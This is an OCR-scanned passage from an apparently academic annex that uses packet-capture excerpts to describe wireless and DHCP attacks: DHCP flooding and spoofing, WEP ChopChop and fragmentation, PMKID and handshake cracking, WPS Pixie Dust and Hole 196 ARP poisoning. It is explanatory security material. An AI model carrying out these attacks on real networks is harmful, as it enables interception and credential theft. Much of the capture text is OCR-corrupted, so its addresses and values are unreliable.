50.9039.. 0.0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID ©9x18645e7b
6 0.9041.. ASUSTekC _ef:22:2d Broadcast ARP 60 Who has 10.10.1.15? Tell 10.10.1.2

7 1.0001.. ASUSTekC ef:22:2d Broadcast ARP 60 Who has 10.10.1.12? Tell 10.10.1.2

8 1.0003.. [10.10.1.2 255.255.255.255  DHCP 342 DHCP Offer - Transaction 1D @x1b78a3bc|
91.0320. 10.0.0.0 255.255.255.255 DHCP 311 DHCP Request - Transaction ID ©x1b78a3bc
10 1.1047. }16.10.1.2 255.255.255.255 DHCP 342 DHCP ACK - Transaction ID 8x1b78a3bc
11 1.3438. 0.0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID ©0x133b6299
12 1.3440.. ASUSTekC_ef:22:2d Broadcast ARP 60 Who has 10.10.1.18? Tell 10.10.1.2

13 1.4523. [10.10.1.2 255.255.255.255  DHCP 342 DHCP Offer - Transaction 1D 0x3dibal
14 1.4540.. JASUSTekC ef:22:2d Broadcast ARP 60 Who has 10.10.1.16? Tell 10.10.1.2

15 1.4758.. 10.0.0.0 255.255.255.255 DHCP 311 DHCP Request - Transaction ID @x3dibald
16 1.5633.. ]10.10.1.2 255.255.255.255 DHCP 342 DHCP ACK - Transaction ID @x3dlbald
17 1.7960.. ©.0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID 9x5ela%901
18 1.7963.. ASUSTekC ef:22:2d Broadcast ARP 60 Who has 10.10.1.17? Tell 10.10.1.2
191.9042.. 10.10.1.2 255.255.255.255 DHCP 342 DHCP Offer - Transaction ID 0x18645e7b
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Figura E-25. Trafico entre atacante y servidor DHCP en un ataque DHCP Flooding



Seguridad en conmutadores de red y puntos de acceso. Clasificacion y realizacion practica de ataques 193

El atacante inunda la red con mensajes “DHCP Discover”, aceptando las distintas ofertas que el servidor DHCP
le ofrece (recuadros rojos y azules, pertenecientes a distintas transacciones) y, poco a poco, agotando su pool de
direcciones. En cada mensaje “DHCP Discover”, como se puede apreciar en la Figura E-26, el campo “Client
MAC Address” o CHADDR indica una direccion MAC diferente para poder llevar a cabo el ataque.

10.0000.. 0.0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID ©x1b78a3bc

Your (client) IP address: ©.0.9.0

Next server IP address: 0.€.0.0

Relay agent IP address: 0.0.0.0

Client MAC address: de:ad:19:2f:e6:@d (de:ad:19:2f:e6:0@d
255.255.255.255 DHCP 342 DHCP Discover - Transaction ID ©x3dlbald

Your (client) IP address: ©.0.0.0

Next server IP address: 0.9.0.0

Relay agent IP address: 0.0.0.0

Client MAC address: de:ad:00:31:5d:d3 (de:ad:00:31:5d:d3

Figura E-26. Detalle de los campos CHADDR en los mensajes DHCP Discover del atacante

Finalmente, una vez acapara todo el rango de direcciones del servidor DHCP, las solicitudes legitimas de los
demas clientes DHCP se verian rechazadas por el propio servidor al no tener mas direcciones en su pool como
se muestra a continuacion:

138 34.272._ 255, Jo5 255 255  DHCP 342 est - Transaction ID @xf96ded?d
139 34.272._]10.16.1.2 255.255.255.255 DHCP 342 DHCP NAK - Transaction ID @xf964ed7d

Bootp flaps: Ox800@, Broadcast flag (Broadcast)

Client IP address: 9.9.0.0

Your {(client) IP address: 8.8.8.8

Next server IP address: 18.18.1.2

Relay agent IP address: 8.9.9.8

Client MAC address: ASUSTekC cc:a7:12 (48:5b:39:cc:av:12)
Client hardware address padding: 00900800800000000000
server host name not given

Boot file name not given

Magic cookie: DHCP

Option: (53} DHCP Message Type (NAK)

Option: (54) DHCP Server Identifier (10.108.1.2)
Option: (56) Message
Length: 31

Figura E-27. Servidor DHCP rechazando un cliente por falta de direcciones

E.19 DHCP Spoofing

143 67.296.. 0.0.0.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction ID ©x4d447a6¢
144 67.296.. ASUSTekC ee:7c: Broadcast ARP 42 Who has 10.10.1.502 Tell 10.10.1.6
14568.297-'19.10.1.6 10.10.1.50 DHCP 342 DHCP Offer - Transaction ID Ox4d44736c]
146 68.297.. 0.0.0.0 255.255.255.255 DHCP 342 DHCP Request - Transaction 1D 0x4d447a6c
147 68.318.. ASUSTek( ee:7c:0b Broadcast ARP 42 Who has 10.10.1.50? Tell 10.10.1.6

148 68.438.. 10.10.1.6 10.10.1.50 DHCP 342 DHCP ACK - Transaction ID ©x4d447a6c

Figura E-28. Servidor DHCP ilegitimo atendiendo una peticion

El equipo atacante, para garantizar el ataque, puede agotar el rango de direcciones IP del servidor DHCP legitimo
(tal y como se muestra en la Figura E-25, Figura E-26 y Figura E-27 del apartado anterior). Asi, es el atacante
el tinico capaz de atender a los mensajes “DHCP Discover” de la red, e incluir en sus parametros opcionales
informacion maligna. En la siguiente figura, se puede observar como se incluye la direccion del equipo atacante
(10.10.1.6) en la lista de solucionadores DNS:
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148 68.438.. 108.18.1.6 18.10.1.58 DHCP 342 DHCP ACK - Transaction ID @xdddaFacc

Option: (53) DHCP Message Type (ACK)
Option: (54) DHCP Server Identifier (10.18.1.8)
Option: (51) IP Address Lease Time
Dption: (1) Subnet Mask (255.255.255.8)
Option: (28) Broadcast Address (18.10.1,255)
«[0ption: (&) Domain Mame Server
Length: 12
Domain Name Server: 18.108.1.6

Figura E-29. Opcion DNS con la IP del atacante en mensaje DHCP ACK
E.20 Falsa autenticacion

381 61.144544 D-Link_bb:84:a7 D-LinkIn_B7:91:9d 882.11 56 Assoclatlon Request, SH=3, FN=8, Flags=........ s SSID=dlink-91%C
B2 £1.144778 D-Link_bb:Bd:a? . 882.11 12 Acknowledgement, Flags=........

383 61.145487 D-LinkIn_87:91:9. 882.11 14 Acknowledgement, Flags=........

384 £1.145781 D-LinkIn 87:91:9_ B82.11 14 Acknowledgement, Flags=........

385 61.14564 D-Link_bb:B4:a7  882.11 3@ Authentication, SN=2518, FN=-8,

D-LinkIn_87:91:9d
IB6 B1.1474H -LinkIn_g/s:91: -Link_bb:&d:a B uthentication, . " . -
BT 61.148166 D-LinkIn_B87:91:9d D-Link_bb:84:a7  862.11 3@ Authentication, SM=2518, FM=8, Flags=....R...

IBE 51.148915 D-LinkIn_B7:91:94 D-Link_bb:84:a7 882.11 55 Association Response, SN=2519, FN=8, Flags=........
JED 61.149688 D-LinkIn_B7:91:9d D-Link_bb:Bd:a7  B882.11 55 Association Response, SN=2519, FN=8, Flags=....R...

Frame 385: 3@ bytes on wire (248 bits), 38 bytes captured (248 bits)
IEEE 882.11 Authenmticatiom, Flags: ....R...
LIEEE 882.11 Wireless Management

v Fixed parameters (6 bytes)

Authentication Algorithm: Open System (@)
Authentication SEQ: SxHael

Status code: Successful (BxB008)

Figura E-30. Tramas del handshake entre atacante y AP y detalle de la autenticacion satisfactoria

La peticion de asociacion por parte del atacante y los mensajes de autenticacion y respuesta de asociacion del
punto de acceso demuestran cémo el atacante ha podido vincularse con el AP de manera satisfactoria sin
necesidad de conocer la clave precompartida.

E.21 ChopChop

39748 254.9486.. 9@:2d:36:4b:c5:
39741 254.9428. 0@:2d:36:4b:ch:
39742 254.9438.

39743 254.9431.f D-LinkIn_8&7:91:

Broadcast B882.11 41 Data, SH=97, FN=8, Flags=.p..... T

Broadcast 882.11 41 Data, SH=97, FN=8, Flags=.p..... T
B@:2d:36:4b:c5:6.. B82.11 18 Acknowledgement, Flage=........
B8:2d:36:4b:c5:5F BB2.11 26 Deauthentication,) SH=688, FN=8, Flags=........

28 838& =8

39744 254.9449. Deutsche b3:B9: Broadcast BB2.11 48 Data, SH=8, FN=8, Flags=.p..... T
39745 254.9458. Deutsche_b3:89: Broadcast B@2.11 48 Data, SN=8, FN=8, Flags=.p..... T
39746 254.9464.. Deutsche_b3:89:0. 862.11 18 Acknowledgement, Flags=........

39747 254 .9488.. Alpsalpi b3:89: Broadcast Be2.11 48 Data, SN=1, FN=8, Flags=.p..... T
39748 254,949 Alpsalpi_b3:89: Broadcast 882.11 48 Data, SH=1, FN=8, Flags=.p..... T

Frame 39743: 26 bytes on wire (208 bits), 26 bytes captured (208 bits)
IEEE 8682.11 Deauvthentication, Flags: ........
IEEE 882.11 Wireless Management
v Fixed parameters (2 bytes)
R . fr ved f nonauthen TA

Figura E-31. Tramas recogidas en un ataque ChopChop y deautenticacion tras enviar una trama valida

Este método para conseguir la clave precompartida requiere enviar constantemente al punto de acceso paquetes
alterados octeto a octeto a partir de uno capturado. En caso de que el paquete sea valido, como en el paquete
sefialado de la captura, el AP manda un mensaje al atacante por enviar una trama sin estar autenticado, indicando
que se ha descubierto un nuevo octeto de la cadena pseudoaleatoria.
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E.22 Fragmentacion

o 81 5.531017 [U-TINK_05:53: 47 TT TT TT T7:77:60 BOZ.1T  GF Frageented IEEE BOZ.11 Trast | [Frame: 81, payload: ©-31 (32 byt

. 82 5.531076 J0-Link_bb:84:a7 fe:ff:ffff:ffied 802.11 64 Fragmented IEEE 802.11 frame [Erame; 88, payload: ©-31 (32 byt

. 83 5.531260 JO-Link_bb:84:a7 ff:Ff.ff.ff:Ff:ed 802.11 64 Frageented IEEE 802.11 frame [Ecame: 82, payload: 32-63 (32 by

. 84 5.531425 J0-Link bb:84:a7  FF:ff:FF:F:fF:1ed 802.11 64 Fragmented IEEE 802.11 frame [Frame: 83, payload: 64-95 (32 by

. 855.531595 |0-Link bb:84:a7  ff:ff:FF:FF:Ff:ed 802.11 64 Frageented IEEE 802.11 frame [Erame: 84, payload: 96-127 (32 b

5 86 5.531770 |O-Link bb:84:a7  £F:F:7F:F:FF:ed 802.11 64 Frogmented IEEE 802.11 frame [Erone: 85. pavlead: 128:152 (32

. 87 5.531942 |D-Link bb:88:a7  £f:fF:FF:FF:FF:ed 802.11 64 Frogaented IEEE 802.11 frase [Ecame: 86, pavload: 160131 (32
88 5.532009 [0-Link bb:84:a7  Ff:FfifF:Ff:fied 892.11 64 Frogmented IEEE 882.11 frame LEOms. R ol 200 240088 -
89 5.532179 JD-Link bb:84:a7 ff:ff:ff:ff:ff:ed 862.11 64 Fraogmented IEEE 802.11 frame IT: . 91 load: 256-287 (32
99 5.532235 D-Link bb:84:a7 . 892.11 10 Acknowledgement, Flagse........ [Frame: 92, payload: 288-319 (32

. 91 5.532286 JD-Link _bb:54:a iffiff ff:ffied 11 ragaented .11 frame [Erame; 93, payload: 328-351 (32

. 92 5.532459 | D-Link_bd:84:a7 fE:ff.ff:ff:ff:ed 802.11 64 Fragmented IEEE 802.11 frame . - 3

. 93 5.532647 | D-Link bb:84:a7  £F:fF:6F:FF:FFed 802.11 64 Fragmented IEEE 802.11 frame (Fragment count: 13)

o oas.53823 LD:Uioic bipaia)  FEIEEEEIEEI£fi0d ARP 64 ARP Announcesent for 259,256,255,255 ) "TTTength: 384]

Figura E-32. Fragmentos enviados por el atacante y detalle del paquete fragmentado

La captura muestra como el atacante, tras fragmentar y enviar un paquete en hasta 13 partes, espera la respuesta
por parte del punto de acceso, que devuelve en su asentimiento el paquete reensamblado a la red. Tras unas
iteraciones, el atacante obtiene los 1500 octetos de la cadena pseudoaleatoria.

E.23 Inyeccion

28 10.3329040.. D-Link_bb:84:a7 Broadcast ARP 22 Wiho has 192.168.0.100° Tell 192.168.0.1 (duplicate use of 192.168.0.1 detected!
29 10.3329222.. D-Link_bb:83:a5 D-Link_bb:84:a5 ARP 42 192.168.0.100 is at 5c:d9:98:bb:83:a5 (duplicate use of 192.168.0.1 detected!)
30 10.3354033.. D-Link_bb:84:a7 Broadcast ARP 42 tiho has 192.168.0.1002 Tell 192.168.0.1 (duplicate use of 192.168.0.1 detected!
31 10.3354133.. D-Link_bb:83:a5 D-Link_bb:84:a5 ARP 42 192.168.0.100 is at 5c:d9:98:bb:83:a5 (duplicate use of 192.168.0.1 detected!)
32 10.3392782.. D-Link_bb:84:a7 Broadcast ARP 42 Who has 192.168.0.100? Tell 192.168.0.1 (duplicate use of 192.168.0.1 detected!
33 10.3392863.. D-Link_bb:83:a5 D-Link_bb:84:a5 ARP 42 192.168.0.100 is at 5c:d9:98:bb:83:a5 (duplicate use of 192.168.0.1 detected!)

Figura E-33. Trafico inyectado por el atacante en una red WEP

El atacante, con la cadena pseudoaleatoria obtenida por el método ChopChop o fragmentacion, es capaz de forjar
paquetes e inyectarlos en la red. En este caso, el paquete forjado se trata de una peticion ARP preguntando por
la direccion de ‘C’ y la direccion IP del punto de acceso, inundando la red con trafico innecesario.

E.24 PTW/KoreK/FMS
54 4.375877 D-LinkIn_87:91:9c D-Link_bb:84:a7 802.11 139 QoS Data, SN=21, FN=8, Flags=.p..R.F.
55 4,375884 D-LinkIn_87:91:9.. 802.11 10 Acknowledgement, Flags=~...P....
56 4,375901 D-LinkIn_87:91:9¢ D-Link_bb:84:a7 802.11 139 QoS Data, SN=22, FN=@, Flags=.p....F
57 4.375908 D-LinkIn_87:91:9. 802.11 10 Acknowledgement, Flags=...P....
58 4.399003 D-LinkIn_87:91:9c¢ D-Link_bb:84:a7 802.11 121 QoS Data, SN=37, FN=@, Flags=.p....F
59 4.399009 D-LinkIn_87:91:9. 802.11 10 Acknowledgement, Flags=...P....
60 4.399027 D-LinkIn_87:91:9c¢ D-Link_bb:84:a7 802.11 121 QoS Data, SN=38, FN=@, Flags=.p....F
61 4.399033 D-LinkIn 87:91:9_ 802.11 10 Flags=...P....

Ackn dgement,
62 4.399565[ D-Link_bb:84:a7 D-LinkIn_87:91:9c 802.11 111 QoS Data, |SN=99,

FN=@, Flags=.p.....T

NEP parameters
Initialization Vector: ©@x874@ed

IHEP ICV: Bx5e213a6f (not verified)l

Figura E-34. Tramas recogidas por el atacante para un ataque estadistico y detalle del ICV de una trama

El trafico intercambiado por el cliente y el punto de acceso incluye, en cada mensaje, un ICV distinto. Mediante
la recopilacion de estos vectores, un atacante es capaz de llevar a cabo un ataque estadistico y obtener la clave
precompartida del cifrado WEP.
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196 Anexo E: Caracterizacion de los ataques bajo matriz MITRE

E.25 Ataque PMKID

412 25.8096759..2¢:96:82:7e:2f:d3 Private 3e:e8:85 EAPOL 175 Key (Message 1 of 4!

v WPA Key Data: dd14000fac0436791a39fd%e33abl99debd3adeeba’s
Iv Tag: Vendor Specific: Ieee 802.11: RSN PHKIDI
?ag Number: Vendor Specific (221)
Tag length: 20

QUI: ©09:0f:ac (Ieee 802.11)
Vendor Specific OUI Type: 4
|PMKID: 36791a39fd9e33ab999de643adee6375I

Figura E-35. Campo PMKID en una trama EAPOL difundida por un AP con funcién roaming

Latrama EAPOL que emiten los equipos con la funcion roaming activada contiene el campo PMKID. Este sash
incluye la clave precompartida que es extraible mediante un ataque de fuerza bruta o diccionario. A diferencia
del ataque explicado a continuacion, en este caso no es necesario que exista un cliente conectado a la red.

E.26 Ataque de fuerza bruta/diccionario

624 17.399344 D_Linklo 87:91.9d D-Link bo:8395 802,11 26 Deguthentication, SHo126, FN-0, Flags=........
625 17.400327]D-LinkIn_87:91:9d D-Link_bb:83:a5 802.11 26 Deauthentication, SN=126,JFN-@, Flags=........

626 17.401417§0-Link bb:83:a5 D-LinkIn 87:91:94 802.11 26 Oeau!hentkatlon: 5'1-127‘ FN-®, Flags=........

627 17.402267 D-Link_bb:83:a5 D-LinkIn_87:91:9¢ 502.11 26 Deauthentication, SN=127, FN-@, Flags=........

643 22.652017 D-Link _bb:83:a5 D-LinkIn_87:91:94 802.11 3@ Authentication, SN~181, FN=B, Flags=........

645 22.652775 D-LinkIn_87:91:9d D-Link_bb:83:a5 802.11 3@ Authentication, SN=724, FN=8, Flags=........

647 22.655812 D-Link_bb:83:a5 D-LinkIn_87:91:94 802.11 88 Association Request, SN=182, FN=B, Flags=........ , SSID=dlink-919C
649 22.656921_D. )W - 5 SN=725, FN~B, Flags=........

651 22.9@8 D-LinkIn_87:91:94 D-Link_bb:83:a5 EAPOL 131 Key (Message 1 of 4)

653 22.9@9 D-Link_bb:83:a5 D-LinkIn_87:91:94 EAPOL 153 Key (Message 2 of 4)
655 22.915269 D-LinkIn_87:91:9d D-Link_bb:83:a5 EAPOL 211 Key (Message 3 of 4)
657 22.915891 D-Link bb:83:a5 D-LinkIn 87:91:94 EAPOL 131 Key (Hcss.nge 4 of 4

Figura E-36. Deautenticacion del cliente y handshake capturado por parte del atacante

El ataque de fuerza bruta o diccionario necesita capturar el handshake entre el cliente y el AP para capturar el
hash que contiene la clave precompartida. Tras un ataque de autenticacion realizado por la misma herramienta
(wifite), el cliente intenta reconectarse al punto de acceso, comenzando el handshake (tramas EAPOL) y
permitiendo a wifite realizar el ataque de diccionario.

E.27 Ataque sobre WPS

149 4.959966241 D-LinkIn_87:91:9d D-Link _bb:84:a7 EAP 462 Request, Expanded Type, WPS, Ml

Public Key: 8dd841587154aef64b4d3a0925c¢1442a89fa81f5feaf940ca7cf631748fcaeedab92e5680..
149 4.959966241 D-LinkIn_87:91:9d D-Link_bb:84:a7 EAP 462 Request, Expanded Type, WPS, M1

Enrollee Nonce: 24d9b85198ddfb867208ec9aa8221087
154 5.022987725 5-[1nk_bb:84:a7 D-LinkIn_87:91:9d EAP 429 Response, Expanded Type, WSI M2

Public Key: 4881a5a0c42f882e88e9aal8ebadbddd2261ef3d62f6ed6921743207¢b368fcbbedc71b@..
173 5.645216383 D-LinkIn_87:91:9d D-Link_bb:84:a7 EAP 186 Request, Expanded Type, HPS. M3

Enrollee Hash 1: f@d5613e6ea7174f278d4a9b9221ea39d1715ccbda@542edd78af32d9121a50
1735.645216383 D-LinkIn_87:91:9d D-Link_bb:84:a7 EAP 186 Request, Expanded Type, WPS, M3

Enrollee Hash 2: d8d@ec76b324827@f6aab5d73664f79e3c880ce886659F939953ddbbasS5f8ed7

Figura E-37. Detalle de distintas tramas y campos necesarios para un ataque WPS Pixie Dust

Los 5 campos mostrados en la Figura E-37, repartidos entre los mensajes M1, M2 y M3 que intercambian el
atacante y el punto de acceso, son los capturados y utilizados por la herramienta Reaver para llevar a cabo el
ataque Pixie Dust, que reduce significativamente el tiempo del ataque sobre WPS.
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E.28 Hole 196
22 4.099676432 D-Link_bb:84:a7 D-LinkIn_87:91:9c ARP a2 5 .0, s at 5c:dY:98:bb:84:a
23 4.099722812 D-Link_bb:84:a7 D-Link_bb:83:a5 ARP 421192.168.0.1 is at 5¢:d9:98:bb:84:a7
24 5.109879330 D-Link_bb:84:a7 D-LinkIn_87:91:9c ARP 42192.168.8.101 is at 5c:d9:98:bb:84:a7
25 5.109929523 D-Link_bb:84:a7 D-Link_bb:83:a5 ARP 42§192.168.0.1 is at 5¢:d9:98:bb:84:a7
26 5.134234550 D-LinkIn_87:91:9¢c Broadcast ARP 42 Who has 185.43.181.412 Tell 192.168.0.1
27 5.187009417 192.168.0.101 192.168.0.1 1CMP 98 Echo (ping) request id=9x@bb7, seq=1/256, ttl=64
28 5.187532851 192.168.0.101 192.168.0.1 IcMP 98 Echo (ping) request 1d-Ox@bb7, seq=1/256, ttl=64
29 6.120114239 D-Link_bb:84:a7 D-LinkIn_87:91:9c ARP 42 192.168.0.101 is at 5c:d9:98:bb:84:a7
30 6.120162239 D-Link_bb:84:a7 D-Link_bb:83:a5 ARP 42 192.168.0.1 is at 5¢:d9:98:bb:84:a7
31 6.134108238 D-LinkIn 87:91:9c Broadcast ARP 42 Who has 185.43.181.412 Tell 192.168.0.1
32 6.185982279]192.168.0.101 192.168.0.1 ICMP 98 Echo (ping) request ] id=@x@bb7, seq=2/512, ttl=64
33 6.187422363]192.168.0.101 192.168.0.1 Icve 98 Echo (ping) request] id-Ox@bb7, seq=2/512, ttle-64
34 6.188230536]192.168.0.1 192.168.0.101 e, 98 Echo (ping) reply id=@x@bb7, seq=2/512, ttl=64
35 6.199529167]192.168.2.1 192.168.0.101 1CMP 98 Echo (ping) reply 1d-2x@bb7, seq=2/512, ttl=64

Figura E-38. Mensajes enviados y recibidos por el atacante en un ataque Hole 196

El atacante, correctamente vinculado al punto de acceso, puede ejecutar un envenenamiento ARP contra el
cliente y el propio AP. La captura muestra el envio de los anuncios ARP dirigidos a ambos equipos, y como
comienza a recibir el trafico entre ‘C’ y el punto de acceso, consiguiendo el ataque AitM.
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